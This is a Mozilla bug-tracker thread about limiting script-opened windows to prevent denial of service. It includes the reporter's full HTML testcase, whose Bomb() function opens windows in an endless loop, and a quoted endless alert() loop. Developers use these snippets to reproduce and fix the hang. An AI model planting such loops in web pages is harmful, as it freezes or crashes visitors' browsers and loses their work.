Closed Bug 31041 Opened 25 years ago Closed 6 years ago

Add quota on script-opened windows (DOS prevention)

Categories

(Core :: Security, defect, P3)

Product:
Core
Component:
Security
Type:
defect

Tracking

()

Status:
RESOLVED WORKSFORME
Milestone:
Future

People

(Reporter: junruh, Assigned: jst)

References

(
URL
)

Details

(Keywords: hang, Whiteboard: [sg:dos][expired?])

Attachments

(1 file, 1 obsolete file)

Endless loop testcases
776 bytes, text/html
Details 
1) With javascript enabled, visit http://junruh/crash.html. 

What happens: Windows - an endless number of main windows opens.
Linux - an endless loop occurs of opening the same window.

To view the source, visit that site with javascript disabled.
I don't get this endless loop (except on 4.7 which is a different story), 
instead an assert fires:

###!!! ASSERTION: null ptr: 'nsnull != aContext', file 
F:\client\mozilla\view\src\nsViewManager2.cpp, line 248
###!!! Break: at file F:\client\mozilla\view\src\nsViewManager2.cpp, line 248

With this stack trace:
NTDLL! 77f7629c()
nsDebug::Assertion(const char * 0x024a11fc, const char * 0x024a11e8, const char 
* 0x024a11b8, int 0x000000f8) line 189 + 13 bytes
nsDebug::PreCondition(const char * 0x024a11fc, const char * 0x024a11e8, const 
char * 0x024a11b8, int 0x000000f8) line 282 + 21 bytes
nsViewManager2::Init(nsViewManager2 * const 0x0351e2b0, nsIDeviceContext * 
0x00000000) line 248 + 32 bytes
DocumentViewerImpl::MakeWindow(void * 0x00000000, const nsRect & {...}, 
nsScrollPreference nsScrollPreference_kAuto) line 887 + 41 bytes
DocumentViewerImpl::Init(DocumentViewerImpl * const 0x03546e80, void * 
0x00000000, nsIDeviceContext * 0x00000000, const nsRect & {...}, 
nsScrollPreference nsScrollPreference_kAuto) line 470 + 20 bytes
nsDocShell::SetupNewViewer(nsDocShell * const 0x03487d80, nsIContentViewer * 
0x03546e80) line 2041 + 87 bytes
nsWebShell::SetupNewViewer(nsWebShell * const 0x03487d80, nsIContentViewer * 
0x03546e80) line 813 + 13 bytes
nsDocShell::CreateContentViewer(nsDocShell * const 0x03487d80, const char * 
0x0012ac38, int 0x00000000, nsIChannel * 0x035301c0, nsIStreamListener * * 
0x0012ac78) line 1911 + 21 bytes
nsWebShell::DoContent(nsWebShell * const 0x03487e74, const char * 0x0012ac38, 
int 0x00000000, const char * 0x10085580 gCommonEmptyBuffer, nsIChannel * 
0x035301c0, nsIStreamListener * * 0x0012ac78, int * 0x0012ac1c) line 1643 + 38 
bytes
nsDocumentOpenInfo::DispatchContent(nsIChannel * 0x035301c0, nsISupports * 
0x00000000) line 389 + 109 bytes
nsDocumentOpenInfo::OnStartRequest(nsDocumentOpenInfo * const 0x03531e40, 
nsIChannel * 0x035301c0, nsISupports * 0x00000000) line 252 + 16 bytes
nsCachedChromeChannel::HandleStartLoadEvent(PLEvent * 0x03531df0) line 403
PL_HandleEvent(PLEvent * 0x03531df0) line 556 + 10 bytes
PL_ProcessPendingEvents(PLEventQueue * 0x032d1ef0) line 501 + 9 bytes
_md_EventReceiverProc(HWND__ * 0x6d5f0106, unsigned int 0x0000c0c1, unsigned int 
0x00000000, long 0x032d1ef0) line 1011 + 9 bytes
USER32! 77e71820()
032d1ef0()
Assignee: rogerl → kmcclusk
Component: Javascript Engine → Views
QA Contact: rginda → petersen
It is going into a endless loop with 4/7/2000 build on WINNT. 
Here is the document:

<!doctype html public "-//w3c//dtd html 4.0 transitional//en">
<html>
<head>
   <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
   <meta name="GENERATOR" content="Mozilla/4.73b1 [en] (WinNT; U) [Netscape]">
   <meta name="Author" content="John Unruh">
</head>
<body onLoad="startclock()">
&nbsp;
<br>&nbsp;
<p><script><!--
var secsleft = 100
var timerID = null
var timerRunning = false
function Bomb()
{
    var iCounter = 1    // dummy counter

    while (true)
      {
        window.open("http://home.netscape.com","CRASHING" + 
iCounter,"width=1,height=1,resizable=no")
        iCounter++
      }
}
function stopclock(){
    if(timerRunning)
        clearTimeout(timerID)
    timerRunning = false
}
function startclock(){
     // Make sure the clock is stopped
    stopclock()
    showtime(3)
}
function showtime(){
    var timeValue = " " + secsleft
    document.clock.face.value = timeValue
        secsleft -= 100000
        if(secsleft>=0) {
            timerID = 
setTimeout("showtime()",10000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000)
            timerRunning = true
        } else  
        Bomb()
}

//--></script>

<center>
<h1>
<font size=+4></font></h1></center>

<pre><form NAME="clock" onSubmit="0"><font size=+4>&nbsp;&nbsp;

<input TYPE="text" NAME="face" SIZE=3 VALUE =""></font><b><font size=+1>&nbsp;



&nbsp;<font color="#FFFFFF">----------</font></font></b></pre>

<pre><b><font color="#FFFFFF"><font size=+2>---------
</font></font><font size=+1>&nbsp;</font></b>
</form></pre>

</body>
</html>

It goes into a endless loop creating windows in function Bomb().

Not a view problem. Is JavaScript suppose to detect these tight loops and 
prevent them from locking up the browser? 

Reassigning to JavaScript Engine module owner
Assignee: kmcclusk → rogerl
Component: Views → Javascript Engine
QA Contact: petersen → pschwartau
I checked with the JS Engine team on this. The JS Engine provides an API at the 
bottom of any loop. Specifically, jsapi.h has JS_SetBranchCallback for setting 
the branch callback function. It is up to the embedding to check it and decide 
whether or not to terminate the loop...it's not an Engine issue.

In any case, Mozilla no longer seems to be creating this endless loop when I go 
to the above URL (http://junruh/crash.html). So I'm going to mark it as 
"WorksForMe". I tried this both on WinNT and Linux.

Using: Mozilla debug Linux and Windows builds made on 06/14/00.
OS: Linux Red Hat 2.2.12-20smp   XTerm = XFree86 3.3.3.1b(88b)
OS: WinNT 4.0 (SP5)


Mitch, would you like to review this from a Security perspective? Thanks -
Assignee: rogerl → mstoltz
Let's keep this one open as a placeholder for trivial denial-of-service such as
opening windows in an infinite loop, or with infinite recursion, etc. I know
these attacks exist, and I know they're tricky to fix, but they need to be
addressed at some point. Marking M18 for post-Beta2.
Status: NEW → ASSIGNED
Component: Javascript Engine → Security: General
Target Milestone: --- → M18
*** Bug 38983 has been marked as a duplicate of this bug. ***
Future.
Target Milestone: M18 → Future
Group: netscapeconfidential?
Blocks: 30942
Keywords: hang
Setting default QA -
QA Contact: pschwartau → bsharma
Classic placed a quota on the number of windows that could be opened from JS,
which was 100 based on testing with native front-ends, but which for XUL windows
should probably be 20 or something like that.  See
http://lxr.mozilla.org/classic/ident?i=lm_window_count.

Jst, you interested in hacking this quota in soon?

/be
Attached file Endless loop testcases — 
I don't know if this is the right place for this testcase. This is definately
not something that a professional piece of software should crash on. The last
one rapidly increases the memory to a crazy amount.
Who said we were professionals?

There are a near-infinite number of DoS attacks.  Please don't attach any more.
 The right bug to help get fixed (by testing the patch, improving it, etc.) for
infinite loop policing is bug 13350.

/be
Brendan: When someone is working on their web page and accidentally create an
endless loop that isn't a denial of service attack though a denial of service
attack could use endless loops, it is not the only occasion when this is a problem.

That is more what I am worried about. The average javascript writer that
accidentally makes a mistake and has to reload the browser because it has crashed.
Yes, accidents are not attacks.  Still, the problem of distinguishing a runaway
from a long but converging script is hard.  I'm pretty sure our conversations in
this bug are not helping.  I don't have a better suggestion than to help jst
dust off that patch in bug 13350 for mozilla1.0 -- why not help do that?

/be
Sure, do you want me to test the patch and find situations it doesn't handle?
*** Bug 149558 has been marked as a duplicate of this bug. ***
*** Bug 182870 has been marked as a duplicate of this bug. ***
OS: Windows NT → All
*** Bug 235469 has been marked as a duplicate of this bug. ***
nallen fixed up and landed bug 13350's patch.  If it doesn't help, then this bug
must be asking for a window.open quota.  If so, it should be resummarized.  In
any event, it should be reassigned.

/be
Assignee: security-bugs → nobody
Status: ASSIGNED → NEW
Comment 14 and comment 15 seem to be talking about different bugs than the lack
of a window quota bug.  Why were they dup'd?  Duping based on a vague, general
idea of a symptom, or a bag of symptoms, is not a good idea.

Bugs should describe individual problems in the code.  Reporting symptoms is
fine, but eventually the causes become clear, and metabugs tracking separate
bugs, one per problem in the code, should be filed.  The original bug could
morph into a metabug.  I'm not sure we need one here, though.

/be
As I test Mozilla 1.7 alpha, I've remarked that *somehow* the popup manager 
got "more intelligent" and starting blocking some kinds of recursive popups. 
Still, I think some progress could be made. I know this is a very basic 
hacking problem, and its solution is very probably the popup blocker. Perhaps 
recursive sites could be detected by the popup blocker and get "blocked" until 
you want them back. Later on, it the site re-starts creating this kind of 
popups, the popup blocker could start blocking it again... etc.
danm-moz lives for this kind of bugs!

/be
Assignee: nobody → danm-moz
*** Bug 261575 has been marked as a duplicate of this bug. ***
Assignee: danm.moz → nobody
Given that javascript cpu/memory exhaustion will hang/crash the browser, why is this bug not Severity: Critical?

Also, what is the purpose of this bug? Is it a Tracking bug (if not I would like to start one), or only a specific case, or should all known JS loop bugs be Duped here?

p.s. the latest IE exploit loop causes Firefox to hang in OSX and crash in WinXP.
http://computerterrorism.com/research/ie/poc.htm
Assignee: nobody → dveditz
QA Contact: bsharma → toolkit
> p.s. the latest IE exploit loop causes Firefox to hang
> http://computerterrorism.com/research/ie/poc.htm

Bug 317334, completely unrelated to javascript loops.

As currently summarized this is a uselessly overgeneralized bug. As suggested by Brendan in comment 17 I'm morphing back toward the original testcase, add window.open() quotas.

We should include modal alert() etc in the quota, "while (true) alert('ha ha ha');" is far too easy. Our current unresponsive script detection misses that case (we're perfectly responsive, just stuck), and you lose the window you're working on. Other windows remain responsive and you can open new windows from the OS, but if you were working through a large tab-set you've just lost them all.
Assignee: dveditz → jst
Summary: Javascript can create an endless loop → Add quota on script-opened windows (DOS prevention)
Whiteboard: [sg:dos]
if you have venkman or jsconsole you can kill the script (although i'd rather not try using jsconsole to do it).
There are various sites that try to prevent you from shutting down the browser by popping windows faster than you can close them.  This should be fixed either by a quota or by a velocity limit, e.g. JS is not allowed to create more than 5 windows in any 15 second period.
A per-click quota is one way to fix this, but other there are other possible solutions.  Firefox could show the "slow script" dialog, or it could show a similar dialog specific to opening lots of windows:

"A script on this page is attempting to open a zillion windows.  Do you want to open them all?  [Stop script] [Open a zillion windows]"
What's left here? All three tests in the attached testcase are stopped by the stop script dialog (besides the third which results in memory allocation error - no crash or freeze). Popups are capped at 20, even if they're allowed for the site. Bug 61098 should cover prompts, anything else I'm missing?

Note: I'm not 100% sure what this bug is about, seeing as the url in the description of this bug has expired and without it there really isn't much else to go on...
Whiteboard: [sg:dos] → [sg:dos][expired?]
natch: expired isn't precisely accurate, it was an mcom local domain host.
Attachment #8757575 - Attachment is obsolete: true
Attachment #8757575 - Attachment is patch: false
Flags: needinfo?(qlwlgfgioq)
We should file new bugs with working testcases for new symptoms. We have many such bugs filed so this one isn't helping anymore.
Status: NEW → RESOLVED
Closed: 6 years ago
Resolution: --- → WORKSFORME
You need to log in before you can comment on or make changes to this bug.

Attachment

General

Creator:
Created:
Updated:
Size: